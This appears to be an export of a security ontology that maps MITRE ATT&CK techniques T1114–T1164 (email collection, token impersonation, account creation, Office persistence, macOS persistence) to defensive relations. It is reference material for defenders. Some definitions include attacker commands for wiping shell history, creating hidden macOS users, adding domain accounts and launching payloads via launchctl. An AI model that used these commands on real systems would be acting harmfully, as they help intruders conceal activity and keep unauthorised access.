definition: Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.
subclass of: Restriction
  on property: accesses
  some values from: MailServer
subclass of: T1114

Email Forwarding Rule
type: Class
type: NamedIndividual
attack-id: T1114.003
definition: Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)
modifies: ApplicationConfiguration
subclass of: Restriction
  on property: modifies
  some values from: ApplicationConfiguration
subclass of: T1114

Clipboard Data
type: Class
type: NamedIndividual
attack-id: T1115
definition: Adversaries may collect data stored in the clipboard from users copying information within or between applications.
reads: Clipboard
subclass of: Restriction
  on property: reads
  some values from: Clipboard
subclass of: CollectionTechnique

Code Signing
type: Class
attack-id: T1116
definition: Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)
comment: This technique has been revoked by T1553.002
subclass of: DefenseEvasionTechnique
deprecated: true

Regsvr32
type: Class
attack-id: T1117
definition: Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)
comment: This technique has been revoked by T1218.010
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique
deprecated: true

InstallUtil
type: Class
attack-id: T1118
definition: InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.
comment: This technique has been revoked by T1218.004
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique
deprecated: true

Automated Collection
type: Class
type: NamedIndividual
accesses: File
attack-id: T1119
definition: Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals.
subclass of: Restriction
  on property: accesses
  some values from: File
subclass of: CollectionTechnique

Peripheral Device Discovery
type: Class
attack-id: T1120
definition: Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
subclass of: DiscoveryTechnique

Regsvcs/Regasm
type: Class
attack-id: T1121
definition: Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
comment: This technique has been revoked by T1218.009
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique
deprecated: true

Component Object Model Hijacking
type: Class
attack-id: T1122
definition: The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
comment: This technique has been revoked by T1546.015
subclass of: DefenseEvasionTechnique
subclass of: PersistenceTechnique
deprecated: true

Audio Capture
type: Class
type: NamedIndividual
accesses: Audio Input Device
attack-id: T1123
definition: An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)
subclass of: Restriction
  on property: accesses
  some values from: Audio Input Device
subclass of: CollectionTechnique

System Time Discovery
type: Class
type: NamedIndividual
attack-id: T1124
definition: An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or systemsetup on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time)
may-invoke: CreateProcess
may-invoke: GetSystemTime
subclass of: Restriction
  on property: may-invoke
  some values from: GetSystemTime
subclass of: Restriction
  on property: may-invoke
  some values from: CreateProcess
subclass of: DiscoveryTechnique

Video Capture
type: Class
type: NamedIndividual
accesses: DigitalCamera
accesses: VideoInputDevice
attack-id: T1125
definition: An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.
subclass of: Restriction
  on property: accesses
  some values from: DigitalCamera
subclass of: Restriction
  on property: accesses
  some values from: VideoInputDevice
subclass of: CollectionTechnique

Network Share Connection Removal
type: Class
attack-id: T1126
definition: Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use)
comment: This technique has been revoked by T1070.005
subclass of: DefenseEvasionTechnique
deprecated: true

MSBuild
type: Class
type: NamedIndividual
attack-id: T1127.001
definition: Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)
modifies: CompilerConfigurationFile
runs: Compiler
subclass of: Restriction
  on property: runs
  some values from: Compiler
subclass of: Restriction
  on property: modifies
  some values from: CompilerConfigurationFile
subclass of: T1127

ClickOnce
type: Class
attack-id: T1127.002
definition: Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)
subclass of: T1127

JamPlus
type: Class
attack-id: T1127.003
definition: Adversaries may use `JamPlus` to proxy the execution of a malicious script. `JamPlus` is a build utility tool for code and data build systems. It works with several popular compilers and can be used for generating workspaces in code editors such as Visual Studio.(Citation: JamPlus manual)
subclass of: T1127

Netsh Helper DLL
type: Class
attack-id: T1128
definition: Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.
comment: This technique has been revoked by T1546.007
subclass of: PersistenceTechnique
deprecated: true

Shared Modules
type: Class
attack-id: T1129
definition: Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).
subclass of: ExecutionTechnique

Install Root Certificate
type: Class
attack-id: T1130
definition: Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
comment: This technique has been revoked by T1553.004
subclass of: DefenseEvasionTechnique
deprecated: true

Authentication Package
type: Class
attack-id: T1131
definition: Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)
comment: This technique has been revoked by T1547.002
subclass of: PersistenceTechnique
deprecated: true

Standard Encoding
type: Class
attack-id: T1132.001
definition: Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.
subclass of: T1132

Non-Standard Encoding
type: Class
attack-id: T1132.002
definition: Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)
subclass of: T1132

External Remote Services
type: Class
type: NamedIndividual
attack-id: T1133
definition: Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)
produces: Authentication
produces: Authorization
produces: NetworkSession
subclass of: Restriction
  on property: produces
  some values from: NetworkSession
subclass of: Restriction
  on property: produces
  some values from: Authorization
subclass of: Restriction
  on property: produces
  some values from: Authentication
subclass of: InitialAccessTechnique
subclass of: PersistenceTechnique

Create Process with Token
type: Class
type: NamedIndividual
attack-id: T1134.002
copies: AccessToken
definition: Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)
may-modify: EventLog
subclass of: Restriction
  on property: may-modify
  some values from: EventLog
subclass of: Restriction
  on property: copies
  some values from: AccessToken
subclass of: T1134

Make and Impersonate Token
type: Class
type: NamedIndividual
attack-id: T1134.003
copies: AccessToken
creates: LoginSession
definition: Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.
may-modify: EventLog
subclass of: Restriction
  on property: copies
  some values from: AccessToken
subclass of: Restriction
  on property: creates
  some values from: LoginSession
subclass of: Restriction
  on property: may-modify
  some values from: EventLog
subclass of: T1134

Network Share Discovery
type: Class
attack-id: T1135
definition: Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
subclass of: DiscoveryTechnique

Local Account
type: Class
type: NamedIndividual
attack-id: T1136.001
creates: LocalUserAccount
definition: Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
subclass of: Restriction
  on property: creates
  some values from: LocalUserAccount
subclass of: T1136

Domain Account
type: Class
type: NamedIndividual
attack-id: T1136.002
creates: DomainUserAccount
definition: Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 1999)
subclass of: Restriction
  on property: creates
  some values from: DomainUserAccount
subclass of: T1136

Cloud Account
type: Class
type: NamedIndividual
attack-id: T1136.003
creates: CloudUserAccount
definition: Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)
subclass of: Restriction
  on property: creates
  some values from: CloudUserAccount
subclass of: T1136

Office Template Macros
type: Class
type: NamedIndividual
attack-id: T1137.001
definition: Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)
may-add: ExecutableScript
may-modify: ExecutableScript
may-modify: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: may-add
  some values from: ExecutableScript
subclass of: Restriction
  on property: may-modify
  some values from: ExecutableScript
subclass of: Restriction
  on property: may-modify
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1137

Office Test
type: Class
type: NamedIndividual
attack-id: T1137.002
definition: Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1137

Outlook Forms
type: Class
type: NamedIndividual
adds: OfficeApplicationFile
attack-id: T1137.003
definition: Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)
subclass of: Restriction
  on property: adds
  some values from: OfficeApplicationFile
subclass of: T1137

Outlook Home Page
type: Class
type: NamedIndividual
attack-id: T1137.004
definition: Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)
modifies: ApplicationConfigurationDatabase
subclass of: Restriction
  on property: modifies
  some values from: ApplicationConfigurationDatabase
subclass of: T1137

Outlook Rules
type: Class
type: NamedIndividual
attack-id: T1137.005
definition: Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)
modifies: ApplicationConfigurationDatabase
subclass of: Restriction
  on property: modifies
  some values from: ApplicationConfigurationDatabase
subclass of: T1137

Add-ins
type: Class
type: NamedIndividual
adds: Software
attack-id: T1137.006
definition: Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)
may-modify: SystemConfigurationDatabase
modifies: OfficeApplication
subclass of: Restriction
  on property: adds
  some values from: Software
subclass of: Restriction
  on property: modifies
  some values from: OfficeApplication
subclass of: Restriction
  on property: may-modify
  some values from: SystemConfigurationDatabase
subclass of: T1137

Application Shimming
type: Class
attack-id: T1138
definition: The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS.
comment: This technique has been revoked by T1546.011
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Bash History
type: Class
attack-id: T1139
definition: Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)
comment: This technique has been revoked by T1552.003
subclass of: CredentialAccessTechnique
deprecated: true

Deobfuscate/Decode Files or Information
type: Class
type: NamedIndividual
attack-id: T1140
definition: Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
invokes: CreateProcess
may-add: ExecutableFile
may-modify: EventLog
subclass of: Restriction
  on property: invokes
  some values from: CreateProcess
subclass of: Restriction
  on property: may-add
  some values from: ExecutableFile
subclass of: Restriction
  on property: may-modify
  some values from: EventLog
subclass of: DefenseEvasionTechnique

Input Prompt
type: Class
attack-id: T1141
definition: When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).
comment: This technique has been revoked by T1056.002
subclass of: CredentialAccessTechnique
deprecated: true

Keychain
type: Class
type: NamedIndividual
accesses: EncryptedCredential
attack-id: T1142
definition: Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.
comment: This technique has been revoked by T1555.001
subclass of: Restriction
  on property: accesses
  some values from: EncryptedCredential
subclass of: CredentialAccessTechnique
deprecated: true

Hidden Window
type: Class
attack-id: T1143
definition: Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.
comment: This technique has been revoked by T1564.003
subclass of: DefenseEvasionTechnique
deprecated: true

Gatekeeper Bypass
type: Class
attack-id: T1144
definition: In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.
comment: This technique has been revoked by T1553.001
subclass of: DefenseEvasionTechnique
deprecated: true

Private Keys
type: Class
attack-id: T1145
definition: Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)
comment: This technique has been revoked by T1552.004
subclass of: CredentialAccessTechnique
deprecated: true

Clear Command History
type: Class
attack-id: T1146
definition: In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.
comment: This technique has been revoked by T1070.003
subclass of: DefenseEvasionTechnique
deprecated: true

Hidden Users
type: Class
attack-id: T1147
definition: Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).
comment: This technique has been revoked by T1564.002
subclass of: DefenseEvasionTechnique
deprecated: true

HISTCONTROL
type: Class
attack-id: T1148
definition: The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.
comment: This technique has been revoked by T1562.003
subclass of: DefenseEvasionTechnique
deprecated: true

LC_MAIN Hijacking
type: Class
attack-id: T1149
definition: **This technique has been deprecated and should no longer be used.**
comment: **This technique has been deprecated and should no longer be used.**
subclass of: DefenseEvasionTechnique
deprecated: true

Plist Modification
type: Class
attack-id: T1150
definition: Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges).
comment: This technique has been revoked by T1547.011
subclass of: DefenseEvasionTechnique
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Space after Filename
type: Class
attack-id: T1151
definition: Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).
comment: This technique has been revoked by T1036.006
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique
deprecated: true

Launchctl
type: Class
attack-id: T1152
definition: Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l <labelName> -- /Path/to/thing/to/execute "arg" "arg" "arg". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.
comment: This technique has been revoked by T1569.001
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique
subclass of: PersistenceTechnique
deprecated: true

Source
type: Class
attack-id: T1153
definition: **This technique has been deprecated and should no longer be used.**
comment: **This technique has been deprecated and should no longer be used.**
subclass of: ExecutionTechnique
deprecated: true

Trap
type: Class
attack-id: T1154
definition: The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
comment: This technique has been revoked by T1546.005
subclass of: ExecutionTechnique
subclass of: PersistenceTechnique
deprecated: true

AppleScript
type: Class
attack-id: T1155
definition: macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.
comment: This technique has been revoked by T1059.002
subclass of: ExecutionTechnique
deprecated: true

Malicious Shell Modification
type: Class
attack-id: T1156
definition: Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
comment: This technique has been revoked by T1546.004
subclass of: PersistenceTechnique
deprecated: true

Dylib Hijacking
type: Class
attack-id: T1157
definition: macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.
comment: This technique has been revoked by T1574.004
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Hidden Files and Directories
type: Class
attack-id: T1158
definition: To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).
comment: This technique has been revoked by T1564.001
subclass of: DefenseEvasionTechnique
subclass of: PersistenceTechnique
deprecated: true

Launch Agent
type: Class
attack-id: T1159
definition: Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).
comment: This technique has been revoked by T1543.001
subclass of: PersistenceTechnique
deprecated: true

Launch Daemon
type: Class
attack-id: T1160
definition: Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
comment: This technique has been revoked by T1543.004
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

LC_LOAD_DYLIB Addition
type: Class
attack-id: T1161
definition: Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).
comment: This technique has been revoked by T1546.006
subclass of: PersistenceTechnique
deprecated: true

Login Item
type: Class
attack-id: T1162
definition: MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).
comment: This technique has been revoked by T1547.011
subclass of: PersistenceTechnique
deprecated: true

Rc.common
type: Class
attack-id: T1163
definition: During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.
comment: This technique has been revoked by T1037.004
subclass of: PersistenceTechnique
deprecated: true

Re-opened Applications
type: Class
attack-id: T1164
